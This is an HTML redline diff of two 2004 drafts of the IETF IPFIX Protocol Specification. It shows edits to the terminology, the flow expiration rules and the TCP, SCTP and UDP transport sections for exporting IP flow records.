          -</font></strong> [XXX-SCTP-BLIND-SPOOFING-REFERENCE] not defined 
    
   <strike><font color=red>PROTO-35: make sure</font></strike> 
          <strong><font color=green>- TCP Security 
          1. Handshake: should we introduce a handshake sequence at</font></strong> the <strike><font color=red>definitions match between [IPFIX-ARCH] and 
   [IPFIX-PROTO] 
    
 
 
  Claise, et. al            Standard Track                    [Page 5] 
                   IPFIX Protocol Specification            August 2004</font></strike> 
          <strong><font color=green>start of the connection? A simple ASCII-based handshake could 
          be used to request TLS.  
          2. It would make sense to add TLS support even in the absence 
          of a handshake. It would be the responsibility of the 
          collector (connection initiator) to know whether TLS setup is 
          required.</font></strong> 
 
   PROTO-36: Insert an Enterprise Specific Information Element example. 
   For scope and non scope. 
   <strike><font color=red>PROTO-37:</font></strike> 
    
   <strong><font color=green>PROTO-38: [IPFIX-INFO] consistency issue: 
          - the ipfixOption, time, droppedFUPacketCount, 
          droppedFUByteCount, droppedFlows, keyList, 
          timeFirstFUDropped, timeLastFUDropped, droppedFAPacketCount, 
          droppedFAByteCount, timeFirstFADropped, timeLastFADropped, 

 
 
  Claise, et. al            Standard Track                    [Page 5] 
                   IPFIX Protocol Specification           October 2004 
 
 
          and Exporter ID, Source ID Information Elements are not used 
          in this document but not yet specified in [IPFIX-INFO]. 
          -</font></strong> Review the Options Template example once the Source ID is 
          defined as an information element  
   <strong><font color=green>PROTO-39 : what is happening when we reach the maximum number of 
   Template ID? Wrap around? 

   PROTO-44: UDP, TCP, and SCTP ports XXXX should be replaced once 
   assigned by IANA.</font></strong> 
 2.     Introduction 
    
   A data network with IP traffic, primarily consists of IP Flows 
   passing through the network elements of the network.  It is often 
   interesting, useful or even a requirement to have access to 
   information about these flows that pass through the network elements 
   for administrative or other purposes.  The IPFIX collecting process 
   should be able to receive the flow information passing through 
   multiple network elements within the data network.  This requires 
   uniformity in the method of representing the flow information and 
   the means of communicating the flows from the network elements to 
   the collection point.  This document specifies the protocol to 
   achieve these aforementioned requirements.  This document specifies 
   in detail the representation of different flows, the additional data 
   required for flow interpretation, packet format, transport 
   mechanisms used, security concerns, etc. 
    
 2.1      IPFIX Documents Overview 
    
   The IPFIX protocol provides network administrators with access to IP 
   flow information.  The architecture for the export of measured IP 
   flow information out of an IPFIX exporting process to a collecting 
   process is defined in [IPFIX-ARCH], per the requirements defined in 
   [IPFIX-REQ].  <strike><font color=red>[IPFIX-PROTO]</font></strike>  <strong><font color=green>This document</font></strong> specifies how IPFIX flow record data, 
   options record data, and templates are carried via a congestion-
   aware transport protocol from IPFIX exporting process to IPFIX 
   collecting process.  IPFIX has a formal description of IPFIX 
   information elements (fields), their name, type and additional 
   semantic information, as specified in [IPFIX-INFO].  Finally [IPFIX-
   AS] describes what type of applications can use the IPFIX protocol 
   and how they can use the information provided.  It furthermore shows 
   how the IPFIX framework relates to other architectures and 
   frameworks.  
    
 
 
  Claise, et. al            Standard Track                    [Page 6] 
                   IPFIX Protocol Specification            <strike><font color=red>August</font></strike>           <strong><font color=green>October</font></strong> 2004 
 
 
 3.    Terminology 
 
   The definitions of the basic terms like IP Traffic Flow, Exporting 
   Process, Collecting Process, Observation Points, etc. are 
   semantically identical with that found in the IPFIX requirements 
   document [IPFIX-REQ].  Some of the terms have been expanded for more 
   clarity when defining the protocol.  Additional terms required for 
   the protocol has also been defined.  Definitions in this document 
   and in [IPFIX-ARCH] are equivalent, except that definitions which 
   are only relevant to the IPFIX protocol only appear here.  Should 
   there be any apparent discrepancy in definitions between these two 
   documents, the definitions defined in this document take precedence. 
    
   The terminology summary table in Section 3.1 gives a quick overview 
   of the relationships between some of the different terms defined. 
  
 Observation Point 
 
   <strike><font color=red>The</font></strike> 
 
   <strong><font color=green>An</font></strong> Observation Point is a location in the network where IP packets 
   can be observed.  Examples <strike><font color=red>are</font></strike> <strong><font color=green>include:</font></strong> a line to which a probe is 
   attached, a shared <strike><font color=red>medium</font></strike> <strong><font color=green>medium,</font></strong> such as an Ethernet-based LAN, a single 
   port of a router, or a set of interfaces (physical or logical) of a 
   router. 
    
   Note that one Observation Point may be a superset of several 
   other Observation Points.  For example, one Observation Point can be 
   an entire line card.  This would be the superset of the 
   individual Observation Points at the line card's interfaces.  
 
 Observation Domain 
 
   The set of Observation Points, which is the largest aggregatable set 
   of Flow information at the Metering Process is termed an Observation 
   Domain.  Each Observation Domain presents itself as a unique ID (its 
   Source <strike><font color=red>ID, SID)</font></strike> <strong><font color=green>ID)</font></strong> to the Collecting Process for identifying the IPFIX 
   Messages it generates.  For example, a router line card composed of 
   several interfaces with each interface being an Observation Point.  
   Every Observation Point is associated with an Observation Domain. 
    
 IP Traffic Flow or Flow 
 


 
 
  <strike><font color=red>Claise, et. al            Standard Track                    [Page 7] 
                   IPFIX Protocol Specification            August 2004</font></strike> 
 
   There are several definitions of the term 'flow' being used by the 
   Internet community.  Within the context of IPFIX we use the 
 
 
  <strong><font color=green>Claise, et. al            Standard Track                    [Page 7] 
                   IPFIX Protocol Specification           October 2004</font></strong> 
 
 
   following <strike><font color=red>one:</font></strike> <strong><font color=green>definition:</font></strong> 
    
   A <strike><font color=red>flow</font></strike> <strong><font color=green>Flow</font></strong> is defined as a set of IP packets passing an Observation 
   Point in the network during a certain time interval.  All packets 
   belonging to a particular <strike><font color=red>flow</font></strike> <strong><font color=green>Flow</font></strong> have a set of common properties.  
   Each property is defined as the result of applying a function to the 
   values of: 
    
      1. one or more packet header field (e.g. destination IP address),    
      transport header field (e.g. destination port number), or  
      application header field (e.g. RTP header fields [RFC1889]) 
    
      2. one or more characteristics of the packet itself (e.g. number  
      of MPLS labels, etc...) 
    
      3. one or more of fields derived from packet treatment (e.g. next  
      hop IP address, the output interface, etc...) 
    
   A packet is defined to belong to a <strike><font color=red>flow</font></strike> <strong><font color=green>Flow</font></strong> if it completely satisfies 
   all the defined properties of the <strike><font color=red>flow.</font></strike> <strong><font color=green>Flow.</font></strong> 
    
   This definition covers the range from a <strike><font color=red>flow</font></strike> <strong><font color=green>Flow</font></strong> containing all packets 
   observed at a network interface to a <strike><font color=red>flow</font></strike> <strong><font color=green>Flow</font></strong> consisting of just a 
   single packet between two applications.  It includes packets 
   selected by a sampling mechanism. 
 
 Flow Key 
  
   Each of the fields which <strike><font color=red>belong to</font></strike> 
    
   1. <strike><font color=red>Packet</font></strike>  <strong><font color=green>Belong to the packet</font></strong> header (e.g. destination IP address) 
    
   2. <strike><font color=red>Property</font></strike>  <strong><font color=green>Are a property</font></strong> of the packet itself (e.g. packet length) 
    
   3. <strike><font color=red>Derived</font></strike>  <strong><font color=green>Are derived</font></strong> from packet treatment (e.g. AS number) 
    
   <strong><font color=green>and</font></strong> which <strike><font color=red>is</font></strike> <strong><font color=green>are</font></strong> used to define a Flow <strike><font color=red>is</font></strike> <strong><font color=green>are</font></strong> termed <strike><font color=red>a</font></strike> Flow <strike><font color=red>Key.</font></strike> <strong><font color=green>Keys.</font></strong> 
    
 Flow Record 
 
   A Flow Record contains information about a specific Flow that was 
   observed at an Observation Point.  A Flow Record contains measured 
   properties of the Flow (e.g. the total number of bytes of all 
 
 
  <strong><font color=green>Claise, et. al            Standard Track                    [Page 8] 
                   IPFIX Protocol Specification           October 2004</font></strong> 
 
 
   packets of the Flow) and usually characteristic properties of the 
   Flow (e.g. source IP address).  
 
 
  <strike><font color=red>Claise, et. al            Standard Track                    [Page 8] 
                   IPFIX Protocol Specification            August 2004</font></strike>  
    
 Metering Process 
 
   The Metering Process generates Flow Records.  Input to the process 
   are packet headers observed at an Observation Point and packet 
   treatment at the Observation <strike><font color=red>Point, for</font></strike> <strong><font color=green>Point (for</font></strong> example the selected output 
   <strike><font color=red>interface.</font></strike> 
   <strong><font color=green>interface).</font></strong> 
    
   The Metering Process consists of a set of functions that includes 
   packet header capturing, timestamping, sampling, classifying, and 
   maintaining Flow Records. 
    
   The maintenance of Flow Records may include creating new records, 
   updating existing ones, computing Flow statistics, deriving further 
   Flow properties, detecting Flow expiration, passing Flow Records to 
   the Exporting Process, and deleting Flow Records. 
    
 Exporting Process 
 
   The Exporting Process sends Flow Records to one or more Collecting 
   Processes.  The Flow Records are generated by one or more Metering 
   Processes. 
    
 IPFIX Device 
    
   <strike><font color=red>A device hosting</font></strike> 
    
   <strong><font color=green>An IPFIX Device hosts</font></strong> at least <strike><font color=red>an</font></strike> <strong><font color=green>one</font></strong> Observation Point, a Metering 
   Process and an Exporting Process.  Typically, corresponding 
   Observation Point(s), Metering Process(es) and Exporting Process(es) 
   are <strike><font color=red>co-
   located</font></strike> <strong><font color=green>co-located</font></strong> at <strike><font color=red>this</font></strike> <strong><font color=green>such a</font></strong> device, for example at a router. 
    
 Exporter 
    
   <strike><font color=red>The</font></strike> 
 
   <strong><font color=green>A</font></strong> device which hosts <strike><font color=red>an</font></strike> <strong><font color=green>one or more</font></strong> Exporting <strike><font color=red>Process.</font></strike> <strong><font color=green>Processes is termed an 
   Exporter.</font></strong> 
    
 Collecting Process 
 
   <strike><font color=red>The</font></strike> 
 
   <strong><font color=green>A</font></strong> Collecting Process receives Flow Records from one or more 
   Exporting Processes.  The Collecting Process might <strong><font color=green>process or</font></strong> store 
   received Flow <strike><font color=red>Records or further process them,</font></strike> <strong><font color=green>Records,</font></strong> but <strike><font color=red>these</font></strike> <strong><font color=green>such</font></strong> actions are out of 
   <strike><font color=red>the</font></strike> scope <strike><font color=red>of</font></strike> <strong><font color=green>for</font></strong> this 
   document. 
    
 <strike><font color=red>Collector</font></strike> 
 
 
  Claise, et. al            Standard Track                    [Page 9] 
                   IPFIX Protocol Specification            <strike><font color=red>August</font></strike>           <strong><font color=green>October</font></strong> 2004 
 
 
   <strike><font color=red>The</font></strike> 
 
 
    
 <strong><font color=green>Collector 
 
   A</font></strong> device which hosts one or more Collecting <strike><font color=red>Processes.</font></strike> <strong><font color=green>Processes is termed a 
   Collector.</font></strong> 
    
 Template 
 
   Template is an ordered sequence of pairs (&lt;type,length&gt;), used to 
   completely identify the structure and semantics of a particular 
   information that needs to be communicated from the IPFIX Device to 
   the Collector.  Each <strike><font color=red>template</font></strike> <strong><font color=green>Template</font></strong> is uniquely identifiable by <strike><font color=red>some</font></strike> means 
   <strike><font color=red>(e.g. by using</font></strike> <strong><font color=green>of</font></strong> a 
   Template <strike><font color=red>ID).</font></strike> <strong><font color=green>ID.</font></strong> 
    
 IPFIX Message 
 
   An IPFIX Message is a message originating at the Exporting Process 
   that carries the IPFIX records of this Exporting Process and whose 
   destination is the Collecting Process.  An IPFIX Message is 
   encapsulated within a transport layer header. 
    
 Message Header 
 
   The Message Header is the first part of an IPFIX Message, which 
   provides basic information about the message such as the IPFIX 
   version, length of the message, message sequence number, etc. 
    
 Template Record 
 
   A Template Record defines the structure and interpretation of fields 
   in a Flow Data Record. 
    
 Flow Data Record 
 
   A Flow Data Record is a data record that contains values of the Flow 
   parameters corresponding to a Template Record.  
    
 Options Template Record 
 
   An Options Template Record defines the structure and interpretation 
   of fields in an Options Data Record, including defining how to scope 
   the applicability of the Options Data Record. 
    
 
 
  <strong><font color=green>Claise, et. al            Standard Track                   [Page 10] 
                   IPFIX Protocol Specification           October 2004</font></strong> 
 
 
 Options Data Record 
   The Options Data Record is a data record that contains values and 
   scope information of the Flow measurement parameters, corresponding 
   to an Options Template Record. 
 
 
  <strike><font color=red>Claise, et. al            Standard Track                   [Page 10] 
                   IPFIX Protocol Specification            August 2004</font></strike> 
    
 Set 
 
   Set is a generic term for a collection of records that have a 
   similar structure.  In an IPFIX Message, one or more Sets follow the 
   Message Header. 
    
   There are three different types of Sets: Template Set, Options 
   Template Set, and Data Set.  
     
 Template Set 
 
   A Template Set is a collection of one or more Template Records that 
   have been grouped together in an IPFIX Message.  
     
 Options Template Set 
 
   An Options Template Set is a collection of one or more Options 
   Template Records that have been grouped together in an IPFIX 
   Message. 
    
 Data Set 
 
   A Data Set is one or more records, of the same type, that are 
   grouped together in an IPFIX Message.  Each record is either a Flow 
   Data Record or an Options Data Record previously defined by a 
   Template Record or an Options Template Record. 
    
 Information Element 
    
   An Information Element is a protocol and encoding independent 
   description of an attribute which may appear in an IPFIX Flow 
   Record.  The IPFIX information model [IPFIX-INFO] defines the base 
   set of Information Elements for IPFIX.  The type associated with an 
   Information Element indicates constraints on what it may contain and 
   also determine the valid encoding mechanisms for use in IPFIX. 
 


 
 
  <strong><font color=green>Claise, et. al            Standard Track                   [Page 11] 
                   IPFIX Protocol Specification           October 2004</font></strong> 
 
 
 3.1      Terminology Summary Table 
 
    +------------------+---------------------------------------------+ 
    |                  |                    Contents                 | 
    |                  +--------------------+------------------------+ 
    |       Set        | Template  Record   |      data record       | 
 
 
  <strike><font color=red>Claise, et. al            Standard Track                   [Page 11] 
                   IPFIX Protocol Specification            August 2004</font></strike> 
    +------------------+--------------------+------------------------+ 
    |                  |                    |  Flow Data Record(s)   | 
    |   Data Set       |          /         |          or            | 
    |                  |                    | Options Data Record(s) | 
    +------------------+--------------------+------------------------+ 
    |   Template Set   | Template Record(s) |           /            | 
    +------------------+--------------------+------------------------+ 
    | Options Template | Options Template   |           /            | 
    |       Set        | Record(s)          |                        | 
    +------------------+--------------------+------------------------+ 
 
      Figure A: Terminology Summary Table 
    
   A Data Set is composed of an Options Data Record(s) or Flow Data 
   Record(s).  No Template Record is included.  A Template Record 
   defines the Flow Data Record, and an Options Template Record defines 
   the Options Data Record.  
    
   A Template Set is composed of Template Record(s).  No Flow or 
   Options Data Record is included. 
     
   An Options Template Set is composed of Options Template Record(s).  
   No Flow or Options Data Record is included.  
 
 4.     Criteria for Flow Expiration and Export  
    
 4.1      Flow Expiration 
     
   A Flow is considered as expired under the following conditions:  
    
   1. If the Metering Process can detect the end of a Flow.  For 
   example, if the FIN or RST bit is detected in a TCP 
   [TCP] connection.  
    
   2. If no packets belonging to the Flow have been observed for a 
   certain period of time.  This time period should be configurable at 
   the Metering Process.  Note that if the time period is set to 0, the 
   Metering Process will create a Flow for every single packet 
 
 
  <strong><font color=green>Claise, et. al            Standard Track                   [Page 12] 
                   IPFIX Protocol Specification           October 2004</font></strong> 
 
 
   observed. 
    
   3. If the Metering Process experiences internal constraints, a Flow 
   may be expired forcibly.  For example, counters wrapping or low 
   memory. 

 
 
  <strike><font color=red>Claise, et. al            Standard Track                   [Page 12] 
                   IPFIX Protocol Specification            August 2004</font></strike> 
     
 4.2      Flow Export 
    
   The Exporting Process decides when and whether to export an expired 
   Flow.  A Flow can be exported because it expired due to the reasons 
   mentioned in Flow Expiration section.  For example: the Exporting 
   Process exports a portion of the expired Flows every 'x' seconds.  
    
   For long-lasting Flows, the Exporting Process should export the Flow 
   Records on a regular basis or based on some export policy.  This 
   periodicity or export policy should be configurable at the Metering 
   Process. 
 
 5.     Transport Protocol 
    
   The IPFIX Protocol Specification has been designed to be transport 
   protocol independent.  Note that the Exporter can export to multiple 
   Collecting Processes, using independent transport protocols. 
    
   <strong><font color=green>The Export Packet 16-bit LENGTH field limits the length of a IPFIX 
   Message to 65536 octets including the header.  A Collecting Process 
   MUST be able to handle IPFIX Message lengths of up to 65536 octets.</font></strong> 
    
    
 5.1      Transport Compliance and Transport Usage 
 
   We need to differentiate between what must be implemented (so that 
   operators can interoperably deploy compliant implementations from 
   different vendors) and what should or could be used in various 
   operational environments. We must also make sure that ALL 
   implementations can operate in a congestion-aware and congestion 
   avoiding mode. 
    
   SCTP [RFC2960] and SCTP-PR [RFC3758] MUST be implemented by all 
   compliant implementations.  UDP [UDP] MAY also be implemented by 
   compliant implementations.  TCP [TCP] MAY also be implemented by 
   compliant implementations.  
    

 
 
  <strong><font color=green>Claise, et. al            Standard Track                   [Page 13] 
                   IPFIX Protocol Specification           October 2004</font></strong> 
 
 
   SCTP-PR SHOULD be used in deployments where Exporters and Collectors 
   are communicating over links <strike><font color=red>which</font></strike> <strong><font color=green>that</font></strong> are susceptible to congestion.  
   SCTP-PR is capable of providing any required degree of reliability. 
    
   TCP MAY be used in deployments where Exporters and Collectors 
   communicate over links <strike><font color=red>which</font></strike> <strong><font color=green>that</font></strong> are susceptible to congestion, but 
   <strike><font color=red>SCTP-PR</font></strike> <strong><font color=green>SCTP-
   PR</font></strong> is preferred, due to its ability to limit back pressure on 
   Exporters and its message versus stream orientation.  
    


 
 
  <strike><font color=red>Claise, et. al            Standard Track                   [Page 13] 
                   IPFIX Protocol Specification            August 2004</font></strike>  
    
   UDP MAY be used although it is not a congestion aware protocol.  
   However, the IPFIX traffic between Exporter and Collector MUST 
   remain wholly within the administrative domains of the operators. 
    
 5.2     TCP 
    
   <strike><font color=red>EDITOR NOTE: to be completed.  A good starting point is draft-
   leinen-ipfix-tcp-00.txt.  TCP [TCP]  
    
 5.3      SCTP</font></strike> 
    
   This section describes how IPFIX can be transported over <strike><font color=red>SCTP 
   [RFC2960] using the PR-SCTP [RFC3758] extension.    

 5.3.1</font></strike> <strong><font color=green>TCP [TCP].  

 5.2.1</font></strong>   Congestion Avoidance 
    
   <strike><font color=red>The SCTP transport protocol provides the required level of</font></strike> 
    
   <strong><font color=green>TCP will detect</font></strong> congestion <strike><font color=red>avoidance by design. 

 5.3.2   Reliability 
 
   The SCTP transport protocol is by default reliable, but has the 
   capability to operate</font></strike> in <strike><font color=red>unreliable and partially reliable modes 
   [RFC3758]. 
    
   Using reliable SCTP streams (referred to hereafter as "streams") for 
   the IPFIX export is not in itself a guarantee that all data records 
   are delivered.  If there is congestion on</font></strike> the <strike><font color=red>link from</font></strike> <strong><font color=green>end-to-end path between</font></strong> the <strong><font color=green>IPFIX</font></strong> 
   Exporting Process <strike><font color=red>to</font></strike> <strong><font color=green>and</font></strong> the <strong><font color=green>IPFIX</font></strong> Collecting Process, <strike><font color=red>or if a significant 
   number of retransmissions are required, the send queues on the 
   Exporting Process may fill up:</font></strike> <strong><font color=green>and limit</font></strong> the 
   <strong><font color=green>transfer rate accordingly.  When an IPFIX</font></strong> Exporting Process <strike><font color=red>MAY</font></strike> <strong><font color=green>has 
   records to export, but detects that transmission by TCP is 
   temporarily impossible, it can</font></strong> either 
   <strike><font color=red>suspend export</font></strike> <strong><font color=green>wait until sending is possible 
   again,</font></strong> or <strike><font color=red>discard IPFIX Messages.  If data records are 
   discarded</font></strike> <strong><font color=green>it can decide to drop</font></strong> the <strike><font color=red>sequence numbers used for</font></strike> <strong><font color=green>record.  In the latter case, the 
   dropped</font></strong> export <strong><font color=green>data</font></strong> MUST <strike><font color=red>reflect</font></strike> <strong><font color=green>be accounted for, so that</font></strong> the <strike><font color=red>loss</font></strike> <strong><font color=green>amount</font></strong> of <strike><font color=red>data.   

 5.3.3</font></strike> 
   <strong><font color=green>dropped export data can be reported. 

 5.2.2   Reliability 
    
   TCP provides an intrinsically reliable delivery service from the 
   IPFIX Exporting Process to the IPFIX Collecting Process.  

 5.2.3</font></strong>   MTU 
 
   <strike><font color=red>SCTP</font></strike> 
    
   <strong><font color=green>TCP</font></strong> provides the required IPFIX Message fragmentation service based 
   on path MTU discovery.  

 <strong><font color=green>5.2.4   Exporting Process 
    
   The following sections describe how an IPFIX-over-TCP connection is 
   created, how IPFIX data is transferred over it, and how a connection 
   is to be terminated.</font></strong>  
 
 
  Claise, et. al            Standard Track                   [Page 14] 
                   IPFIX Protocol Specification            <strike><font color=red>August</font></strike>           <strong><font color=green>October</font></strong> 2004 
 
 
 <strike><font color=red>5.3.4   Exporting Process 

 5.3.4.1 Association</font></strike> 
 
 
 <strong><font color=green>5.2.4.1 Connection Establishment</font></strong> 
    
   The <strong><font color=green>IPFIX</font></strong> Exporting Process <strike><font color=red>MUST create at least one association 
   (connection "bundle" in SCTP terminology)</font></strike> <strong><font color=green>initiates a TCP connection</font></strong> to the <strong><font color=green>IPFIX</font></strong> 
   Collecting Process. 
    
   <strike><font color=red>However,</font></strike>  <strong><font color=green>By default, the Collecting Process listens for 
   connections on TCP port XXXX (to be assigned by IANA).  It MUST be 
   possible to configure both</font></strong> the Exporting <strong><font color=green>and Collecting Processes to 
   use a different TCP port.  
    
   An Exporting</font></strong> Process MAY <strike><font color=red>create</font></strike> <strong><font color=green>support</font></strong> more than one <strike><font color=red>association. 
   The</font></strike> <strong><font color=green>active connection to 
   different Collecting Processes (including the case of different</font></strong> 
   Collecting <strong><font color=green>Processes on the same host).  

 5.2.4.2 Connection Release 
    
   When an Exporting</font></strong> Process <strike><font color=red>MUST NOT initiate</font></strike> <strong><font color=green>has no more IPFIX Messages to send, it 
   SHOULD close</font></strong> the <strong><font color=green>TCP</font></strong> connection.   

 <strike><font color=red>5.3.4.2 Source ID 
  
   The IPFIX Message MUST contain a Message Header, which includes</font></strike>  
    
   <strong><font color=green>When</font></strong> a 
   <strike><font color=red>Source ID (SID).  The Exporting</font></strike> <strong><font color=green>Collecting</font></strong> Process <strike><font color=red>uses the SID</font></strike> <strong><font color=green>no longer wants</font></strong> to <strike><font color=red>uniquely 
   identify</font></strike> <strong><font color=green>receive IPFIX messages, 
   it SHOULD close the TCP connection, but SHOULD continue</font></strong> to <strong><font color=green>receive 
   and process IPFIX messages until</font></strong> the <strong><font color=green>Exporting Process has closed 
   its end.  
    
   When an</font></strong> Collecting Process <strike><font color=red>the Observation Domain</font></strike> <strong><font color=green>detects</font></strong> that 
   <strike><font color=red>metered</font></strike> the <strike><font color=red>Flows. 

 5.3.4.3 Stream 
 
   An</font></strike> <strong><font color=green>TCP connection to the</font></strong> 
   Exporting Process <strong><font color=green>is abnormally terminated, it</font></strong> MUST <strike><font color=red>request at least two outbound streams per 
   association.  The first stream (referred</font></strike> <strong><font color=green>continue</font></strong> to <strike><font color=red>as stream zero in</font></strike> 
   <strong><font color=green>listen for a new connection.  
    
   When an Exporting Process detects that</font></strong> the 
   <strike><font color=red>rest of this document),</font></strike> <strong><font color=green>TCP connection</font></strong> is <strike><font color=red>used</font></strike> 
   <strong><font color=green>abnormally terminated, it SHOULD try</font></strong> to <strike><font color=red>send</font></strike> <strong><font color=green>re-establish</font></strong> the <strike><font color=red>Template Set and the 
   Options Template Set.  Stream zero MUST be fully reliable.  Data 
   Sets MUST NOT</font></strike> <strong><font color=green>connection.  
    
   Connection timeouts SHOULD</font></strong> be <strong><font color=green>configurable.  

 5.2.4.3 IPFIX Message Encoding 
    
   TCP provides message boundary marking marking mechanism. When IPFIX 
   Message are</font></strong> sent <strike><font color=red>on stream zero. 
    
   Depending on</font></strike> <strong><font color=green>over a TCP connection,</font></strong> the <strike><font color=red>application requirement,</font></strike> <strong><font color=green>LENGTH field in</font></strong> the <strike><font color=red>Exporting Process 
   selects</font></strike> 
   <strong><font color=green>IPFIX Message header defines</font></strong> the <strike><font color=red>mode (unreliable, partially reliable, or fully reliable 
   mode)</font></strike> <strong><font color=green>end</font></strong> of <strike><font color=red>the stream, used to send the Data Sets.  Unreliable mode 
   MAY be used where the application does not require reliable 
   transmission</font></strike> <strong><font color=green>each message</font></strong> and the <strike><font color=red>use of a retransmission queue is impractical. 
    
   An Exporter MAY use multiple streams to export Data Sets, in some 
   cases different applications will have different requirements in 
   terms of reliability.  In such a case, the Observation Domain MUST 
   use the same SID value on all</font></strike> <strong><font color=green>start</font></strong> 
   of the <strike><font color=red>multiple streams it uses.  Data 
   Sets</font></strike> <strong><font color=green>next message.  
    
   If an Exporting Process exports data</font></strong> from multiple Observation <strike><font color=red>Domains MUST NOT be transmitted over 
   the same stream; the Collecting Process</font></strike> 
   <strong><font color=green>Domains, it</font></strong> should <strike><font color=red>however verify that 
   the SID values are the expected values.   
    
   When Data Sets are exported over a partially reliable stream, they 
   SHOULD</font></strike> be <strike><font color=red>marked for retransmission as long as there is room in</font></strike> <strong><font color=green>careful to choose</font></strong> the 
   <strike><font color=red>SCTP send queues.  However during times of congestion or other</font></strike> <strong><font color=green>IPFIX Message lengths 
   appropriately to avoid head-of-line blocking between different 
   Observation Domains.</font></strong>  

 
 
  Claise, et. al            Standard Track                   [Page 15] 
                   IPFIX Protocol Specification            <strike><font color=red>August</font></strike>           <strong><font color=green>October</font></strong> 2004 
 
 
   <strike><font color=red>retransmission events, if the queue overflows, the oldest data 
   record that has been transmitted and marked as partially reliable 
   should be freed and marked to be skipped per the PR-SCTP [RFC3758] 
   specification.  The freed buffer space should then be re-used for 
   the new Data Sets being exported.   

 5.3.4.4 Template</font></strike> 
 
 
 <strong><font color=green>5.2.4.4</font></strong> Templates <strike><font color=red>Sets and Option Template Sets MUST be sent on stream zero 
   with full reliability.</font></strike> 
    
   New Template Records SHOULD be transmitted as soon as they are 
   created on the Metering Process, and preferably before any 
   associated Flow and Options Data Record is transmitted.  The 
   Collecting Process SHOULD accept Flow and Options Data Records 
   without the associated Template Record. 

 <strike><font color=red>5.3.5   Collecting Process 
 
   The Collecting Process SHOULD listen for a new association request 
   from the Exporting Process.  The Exporting Process will request a 
   number of streams to use for export.  A</font></strike>  
    
   <strong><font color=green>A</font></strong> Collecting Process MUST 
   <strike><font color=red>support at least two inbound streams per association.  An Exporting 
   Process</font></strike> <strong><font color=green>record all Template</font></strong> and <strike><font color=red>Collecting Process MAY ask</font></strike> <strong><font color=green>Option Template 
   Records</font></strong> for <strike><font color=red>and support more than two 
   streams. 
    
   The Collecting Process SHOULD verify that</font></strike> the <strike><font color=red>received IPFIX 
   Messages inside one stream do not have differing SID values and 
   silently discard any data that does NOT match</font></strike> <strong><font color=green>duration of</font></strong> the <strike><font color=red>initial value.   
   The</font></strike> <strong><font color=green>connection, as an</font></strong> Exporting Process <strike><font color=red>SHOULD NOT transmit messages inside one stream 
   with multiple SID values.  The correlated Flow Records are then 
   treated like a normal export Flow. 
    
   If the Collecting Process receives a malformed IPFIX Message, it 
   MUST reset the SCTP association, discard the message and log the 
   error.   
     
   When an SCTP association</font></strike> 
   is <strike><font color=red>closed, the Collecting Process MUST 
   discard all templates received over that association and stop 
   decoding IPFIX Messages that use those templates. 



 
 
  Claise, et. al            Standard Track                   [Page 16] 
                   IPFIX Protocol Specification            August 2004 
 
 
 5.3.6   Failover</font></strike> <strong><font color=green>not required to re-export Template Records.  

 5.2.5   Fail-over</font></strong> 
    
   If the Collecting Process does not acknowledge the attempt by the 
   Exporting Process to establish <strike><font color=red>an association it will</font></strike> <strong><font color=green>a connection, the Exporting Process 
   should retry. The</font></strong> retry <strike><font color=red>using</font></strike> <strong><font color=green>schedule SHOULD be configurable.  In</font></strong> the <strike><font color=red>SCTP exponential backoff feature.</font></strike> 
   <strong><font color=green>default configuration, an Exporting Process MUST NOT attempt to 
   establish a connection more frequently than once per minute.</font></strong>  
    
   The Exporter MAY log an alarm if the time to establish the 
   association exceeds a specified threshold.  
    
   If Collecting Process <strike><font color=red>failover</font></strike> <strong><font color=green>fail-over</font></strong> is supported by the Exporting 
   Process a second <strike><font color=red>SCTP association</font></strike> <strong><font color=green>TCP connection</font></strong> MAY be opened in advance. 
    
 <strike><font color=red>5.4      UDP</font></strike> 
    
 <strong><font color=green>5.3      SCTP</font></strong> 
 
   This section describes how IPFIX can be transported over <strike><font color=red>UDP  
   [RFC768] 

 5.4.1</font></strike> <strong><font color=green>SCTP 
   [RFC2960] using the PR-SCTP [RFC3758] extension.    

 5.3.1</font></strong>   Congestion Avoidance  
     
   <strike><font color=red>UDP has no integral</font></strike> 
    
   <strong><font color=green>The SCTP transport protocol provides the required level of</font></strong> 
   congestion avoidance <strike><font color=red>mechanism.  Its use  
   over</font></strike> <strong><font color=green>by design. 
    
   SCTP will detect</font></strong> congestion <strike><font color=red>sensitive network paths is therefore deprecated.   
   UDP MAY be used</font></strike> in <strike><font color=red>deployments where Exporters and Collectors  
   always communicate over dedicated links which are not susceptible  
   to congestion.   

 5.4.2   Reliability  
    
   UDP is not a reliable transport protocol, and cannot guarantee  
   delivery of messages.  IPFIX Messages sent from</font></strike> the <strike><font color=red>Exporting  
   Process to</font></strike> <strong><font color=green>end-to-end path between</font></strong> 
   the <strike><font color=red>Collecting</font></strike> <strong><font color=green>IPFIX Exporting</font></strong> Process <strike><font color=red>using UDP may therefore be lost.   
   UDP MUST NOT be used unless</font></strike> <strong><font color=green>and</font></strong> the <strike><font color=red>application can tolerate some  
   loss of Messages. 
    
   The</font></strike> <strong><font color=green>IPFIX</font></strong> Collecting <strike><font color=red>Process could deduce the loss</font></strike> <strong><font color=green>Process,</font></strong> 
   and <strike><font color=red>reordering of IPFIX 
   Messages by looking at the discontinuities in</font></strike> <strong><font color=green>limit</font></strong> the <strong><font color=green>transfer rate accordingly.  When an</font></strong> IPFIX <strike><font color=red>Message 
   sequence number.  These conditions SHOULD be logged. 
    
   Templates sent from the</font></strike> 
   Exporting Process <strong><font color=green>has records to export, but detects that 
   transmission by SCTP is temporarily impossible, it can either 
   wait until sending is possible again, or it can decide</font></strong> to <strong><font color=green>drop</font></strong> the <strike><font color=red>Collecting  
   Process using UDP as a transport MUST be resent at regular  
   intervals in case previous copies were lost.  Implementations  
   MAY send templates using a reliable transport protocol, and  
   send IPFIX Flow and Option Data Records using UDP as</font></strike> 
   <strong><font color=green>record.  In</font></strong> the  
   <strike><font color=red>transport protocol.</font></strike> <strong><font color=green>latter case, the dropped export data MUST</font></strong> 
 
 
  Claise, et. al            Standard Track                   [Page <strike><font color=red>17]</font></strike> <strong><font color=green>16]</font></strong> 
                   IPFIX Protocol Specification            <strike><font color=red>August</font></strike>           <strong><font color=green>October</font></strong> 2004 
 
 
 <strike><font color=red>5.4.3   MTU 
    
   The maximum size of exported messages MUST</font></strike> 
 
 
   be <strike><font color=red>configured such</font></strike> <strong><font color=green>accounted for, so</font></strong> that the <strike><font color=red>total packet size does not exceed the path MTU.   

 5.4.4   Port Numbers</font></strike> <strong><font color=green>amount of dropped export data can be 
   reported. 
    

 5.3.2   Reliability</font></strong> 
 
